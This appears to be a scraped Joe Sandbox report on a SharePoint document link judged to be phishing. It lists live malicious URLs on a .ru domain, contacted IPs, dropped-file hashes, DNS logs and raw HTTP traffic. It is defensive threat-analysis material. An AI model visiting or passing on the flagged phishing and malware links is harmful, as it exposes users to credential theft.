https://mllss.ablecenp.ru/klIy4hfSdFjCeQFeuZBahXh1SxKUZVaVn2gQslopdJc1GyLsadJrBQjz78BSy21fpYWk49bDTab230	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/rsVEKuFJEXd12frcBawx38	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/rsXtw3W2TBidIqgwnqJpSiMshRQIVyjbPXJhKbOghqLwzP6SLnK9TEIjQef194	true	Avira URL Cloud: malware	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.windows.net	App1717597024182521900_23762D46-DCEF-48FB-AA6C-531047C6A69A.log.6.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://www.gstatic.c..?/recaptcha/releases/DH3nyJMamEclyfe-nztbfV8S/recaptcha__.	chromecache_398.2.dr	false	URL Reputation: safe	unknown
https://support.google.com/recaptcha#6262736	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://cloud.google.com/contact	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php	chromecache_361.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/fent)	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha/#6175971	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api2/	chromecache_369.2.dr, chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://localcdn.centro-dev.com:5555/floodgate.bundle.js.map	chromecache_390.2.dr	false	Avira URL Cloud: safe	unknown
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://recaptcha.net	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://www.apache.org/licenses/	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
http://fb.me/use-check-prop-types	chromecache_361.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://feross.org	chromecache_397.2.dr	false	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_398.2.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
52.108.9.12	wac-0003.wac-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
52.108.10.12	wac-0003.wac-dc-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.245.31.5	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
52.105.54.39	189792-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
172.67.195.192	mllss.ablecenp.ru	United States	13335	CLOUDFLARENETUS	true
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.16.196	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.107.136.10	dual-spo-0005.spo-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.199.110.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
52.108.8.12	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.108.11.12	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.96.3	w5fv.25bvnw8.ru	European Union	13335	CLOUDFLARENETUS	false
184.28.90.27	unknown	United States	16625	AKAMAI-ASUS	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1452403
Start date and time:	2024-06-05 16:15:31 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.phis.win@26/467@58/21
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JSON data
Category:	dropped
Size (bytes):	520156
Entropy (8bit):	4.907666742859367
Encrypted:	false
SSDEEP:	3072:9omubOSb3F2Fq9VMjNYof+pmpnGDubTxZO7aYb6f5780K2:+bOq3OjNymtGyT
MD5:	036628E3E3F0728DAA7D53AC1B3EF8CC
SHA1:	65327D9039335E1BAF9E14639AE355195766C9EC
SHA-256:	2CAEC4D00BD356241B8B405B1B74386C677D501A7A23CE6EF916EAF912541544
SHA-512:	C6524E4C732E1827B4FA8DA07DFF92F3024E15822578C6945B8A076498A85FF0D0C933E01F2AF98BA90A3E6A24DAB1601C07BE9D8D7193F4FB48A8E63FA75821
Malicious:	false
Reputation:	low
Preview:	{"MajorVersion":4,"MinorVersion":39,"Expiration":14,"Fonts":[{"a":[4294966911],"f":"Abadi","fam":[],"sf":[{"c":[1,0],"dn":"Abadi","fs":32696,"ful":[{"lcp":983041,"lsc":"Latn","ltx":"Abadi"}],"gn":"Abadi","id":"23643452060","p":[2,11,6,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":26215680},{"c":[1,0],"dn":"Abadi Extra Light","fs":22180,"ful":[{"lcp":983042,"lsc":"Latn","ltx":"Abadi Extra Light"}],"gn":"Abadi Extra Light","id":"17656736728","p":[2,11,2,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":13108480}]},{"a":[4294966911],"f":"ADLaM Display","fam":[],"sf":[{"c":[536870913,0],"dn":"ADLaM Display Regular","fs":140072,"ful":[{"lcp":983040,"lsc":"Latn","ltx":"ADLaM Display"}],"gn":"ADLaM Display","id":"31965479471","p":[2,1,0,0,0,0,0,0,0,0],"sub":[],"t":"ttf","u":[2147491951,1107296330,0,0],"v":131072,"w":26215680}]},{"a":[4294966911],"f":"Agency FB","fam":[],"sf":[{"c":[536870913,0],"dn":"Agency FB Bold","fs":54372,"ful":[{"lcp":9830

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jun 5 13:16:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.977890617411221
Encrypted:	false
SSDEEP:	48:8gd3TvTDHMidAKZdA19ehwiZUklqehRy+3:8Y3uey
MD5:	57F6863385C2E24C451CBFCF7618613E
SHA1:	513B73AE9F1EACF82B71C5F9D213727A5E9D441F
SHA-256:	3B7BFB3153D33788EBB5B21494D1401EE9D14E88C5BA84479635CFB1196ADBFD
SHA-512:	236662BFBE772F65AE0E67A9D61F5E839D4CEC5EF027A6F93919CD6769752608B259EFB989DDA7748B7F08ED50D1E753A606496697AFB3640DED843A9F1DB7A9
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......R...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 5, 2024 16:16:23.315984964 CEST	53	63543	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:23.401449919 CEST	53	58655	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:24.706470013 CEST	53	63920	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:24.957761049 CEST	52067	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:24.958101988 CEST	57243	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:25.947140932 CEST	58944	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:25.947524071 CEST	58145	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:27.991417885 CEST	63435	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:27.994560957 CEST	61373	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:27.999473095 CEST	53	63435	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:28.002238989 CEST	53	61373	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:30.499748945 CEST	61697	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:30.500802040 CEST	57596	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:30.506877899 CEST	53	61697	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:30.509175062 CEST	53	57596	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:32.220813036 CEST	54133	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:32.221108913 CEST	64835	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:36.033173084 CEST	61210	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:36.033386946 CEST	59531	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:41.754381895 CEST	53	62028	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:43.536866903 CEST	53	57897	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:43.652559042 CEST	53	60953	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:52.221159935 CEST	56117	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:52.221528053 CEST	60944	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:52.230464935 CEST	53	60944	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:54.054331064 CEST	62858	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:54.054582119 CEST	62374	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:54.062524080 CEST	53	62374	1.1.1.1	192.168.2.5
Jun 5, 2024 16:16:56.676120996 CEST	54347	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:56.676528931 CEST	59090	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:16:56.684715033 CEST	53	59090	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:00.538983107 CEST	53	51854	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:01.370786905 CEST	59022	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:01.371109009 CEST	50391	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:01.378983974 CEST	53	59022	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:01.380352974 CEST	53	50391	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:02.336558104 CEST	52180	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:02.340490103 CEST	64923	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:02.494301081 CEST	53	52180	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:02.873430014 CEST	53	64923	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:03.896303892 CEST	59327	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:03.896583080 CEST	53798	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:03.967025042 CEST	53	53798	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:03.988954067 CEST	53	59327	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:07.891467094 CEST	49636	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:07.891604900 CEST	64851	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:07.892574072 CEST	55642	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:07.892805099 CEST	57217	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:07.899626017 CEST	53	64851	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:07.900279045 CEST	53	55642	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:07.900613070 CEST	53	57217	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:07.904356956 CEST	53	49636	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:08.073024035 CEST	64073	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:08.073185921 CEST	63484	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:08.087547064 CEST	53	64073	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:08.141006947 CEST	53	63484	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:10.002577066 CEST	49972	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:10.002701998 CEST	53973	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:10.010160923 CEST	53	49972	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:10.010445118 CEST	53	53973	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:11.748672962 CEST	61669	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:11.751477003 CEST	62807	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:11.756023884 CEST	53	61669	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:11.758760929 CEST	53	62807	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:22.962608099 CEST	53	58641	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:23.090172052 CEST	53	59603	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:32.476375103 CEST	55847	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:32.476576090 CEST	61237	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:32.484743118 CEST	53	55847	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:32.484764099 CEST	53	61237	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:34.324824095 CEST	61359	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:34.325062037 CEST	57381	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:34.597523928 CEST	53	61359	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:34.642323971 CEST	53	57381	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:36.048832893 CEST	51458	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.049423933 CEST	57432	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.049751997 CEST	53372	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.049880028 CEST	57631	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.050165892 CEST	51022	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.050292015 CEST	50407	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.050530910 CEST	64883	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.050645113 CEST	60391	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.050883055 CEST	51191	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.051212072 CEST	49750	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:36.056761980 CEST	53	53372	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:36.056907892 CEST	53	57631	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:36.057629108 CEST	53	51022	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:36.058083057 CEST	53	50407	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:37.427598953 CEST	62278	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:37.427841902 CEST	53797	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:37.428559065 CEST	56975	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:37.428738117 CEST	55299	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:37.429112911 CEST	51979	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:37.429259062 CEST	58317	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:37.430031061 CEST	55300	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:37.430171013 CEST	65378	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:37.435724974 CEST	53	53797	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:37.436197996 CEST	53	58317	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:37.436398029 CEST	53	55299	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:37.436412096 CEST	53	51979	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:37.436431885 CEST	53	56975	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:37.436796904 CEST	53	55300	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:37.437648058 CEST	53	65378	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:37.465826035 CEST	53	62278	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:38.659735918 CEST	55699	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:38.659914970 CEST	61792	53	192.168.2.5	1.1.1.1
Jun 5, 2024 16:17:38.667095900 CEST	53	55699	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:38.668752909 CEST	53	61792	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:40.903247118 CEST	53	61539	1.1.1.1	192.168.2.5
Jun 5, 2024 16:17:40.914895058 CEST	53	61282	1.1.1.1	192.168.2.5

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jun 5, 2024 16:16:51.577162981 CEST	192.168.2.5	1.1.1.1	c29b	(Port unreachable)	Destination Unreachable
Jun 5, 2024 16:17:02.876573086 CEST	192.168.2.5	1.1.1.1	c231	(Port unreachable)	Destination Unreachable
Jun 5, 2024 16:17:08.141088009 CEST	192.168.2.5	1.1.1.1	c22f	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Jun 5, 2024 16:16:25.029457092 CEST	544	OUT	GET /:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg HTTP/1.1 Host: midlandlangarsevasociety-my.sharepoint.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 5, 2024 16:16:25.936714888 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Location: https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/guestaccess.aspx?share=EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-NetworkStatistics: 0,23040,0,0,4,0,14400,0 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: efae2fa1-b01b-9000-0f29-a9559819ec91 request-id: efae2fa1-b01b-9000-0f29-a9559819ec91 MS-CV: oS+u7xuwAJAPKalVmBnskQ.0 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=00000000-0000-0000-0000-000000000000&destinationEndpoint=Edge-Prod-DFW31r5c&frontEnd=AFD&RemoteIP=173.254.250.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com .office365.com goals.cl Data Raw: Data Ascii:
Jun 5, 2024 16:16:25.936737061 CEST	708	IN	Data Raw: 75 64 2e 6d 69 63 72 6f 73 6f 66 74 20 2a 2e 70 6f 77 65 72 61 70 70 73 2e 63 6f 6d 20 2a 2e 79 61 6d 6d 65 72 2e 63 6f 6d 20 65 6e 67 61 67 65 2e 63 6c 6f 75 64 2e 6d 69 63 72 6f 73 6f 66 74 20 77 6f 72 64 2e 63 6c 6f 75 64 2e 6d 69 63 72 6f 73 Data Ascii: ud.microsoft .powerapps.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynami
Jun 5, 2024 16:17:10.937324047 CEST	6	OUT	Data Raw: 00 Data Ascii:

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_39.ttf

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{1992A277-C54C-4B3C-AC66-62727DD8A000}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{498415D4-1234-468C-93FC-8C46D9662388}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1717597024182521900_23762D46-DCEF-48FB-AA6C-531047C6A69A.log

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1717597024183213700_23762D46-DCEF-48FB-AA6C-531047C6A69A.log

C:\Users\user\AppData\Local\Temp\TCD101F.tmp\Savon.thmx

C:\Users\user\AppData\Local\Temp\TCD101F.tmp\content.inf

C:\Users\user\AppData\Local\Temp\TCD10FE.tmp\Parcel.thmx

C:\Users\user\AppData\Local\Temp\TCD10FE.tmp\content.inf

C:\Users\user\AppData\Local\Temp\TCD123B.tmp\Droplet.thmx

C:\Users\user\AppData\Local\Temp\TCD123B.tmp\content.inf

C:\Users\user\AppData\Local\Temp\TCD124C.tmp\Gallery.thmx

C:\Users\user\AppData\Local\Temp\TCD124C.tmp\content.inf

C:\Users\user\AppData\Local\Temp\TCD12AD.tmp\Quotable.thmx

C:\Users\user\AppData\Local\Temp\TCD12AD.tmp\content.inf

C:\Users\user\AppData\Local\Temp\TCD12AE.tmp\Damask.thmx

C:\Users\user\AppData\Local\Temp\TCD12AE.tmp\content.inf

C:\Users\user\AppData\Local\Temp\TCD12DE.tmp\Main_Event.thmx

Windows Analysis Report
http://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg

Timestamp	Bytes transferred	Direction	Data
2024-06-05 14:16:14 UTC	59	OUT	GET / HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2024-06-05 14:16:15 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Wed, 05 Jun 2024 14:16:14 GMT content-type: application/json; charset=utf-8 Content-Length: 314 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 4 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-05 14:16:15 UTC	314	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 31 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 31 2e 73 74 61 74 69 63 2e 71 75 61 64 72 61 6e 65 74 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 44 61 6c 6c 61 73 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 54 65 78 61 73 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 33 32 2e 38 31 35 32 2c 2d 39 36 2e 38 37 30 33 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 38 31 30 30 20 51 75 61 64 72 61 4e 65 74 20 45 6e 74 65 72 70 72 69 73 65 73 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 37 35 32 34 37 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 Data Ascii: { "ip": "173.254.250.91", "hostname": "173.254.250.91.static.quadranet.com", "city": "Dallas", "region": "Texas", "country": "US", "loc": "32.8152,-96.8703", "org": "AS8100 QuadraNet Enterprises LLC", "postal": "75247", "timezone": "Amer

Timestamp	Bytes transferred	Direction	Data
2024-06-05 14:16:26 UTC	801	OUT	GET /personal/sharon_bharaj_mlss_org_uk/_layouts/15/guestaccess.aspx?share=EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg HTTP/1.1 Host: midlandlangarsevasociety-my.sharepoint.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
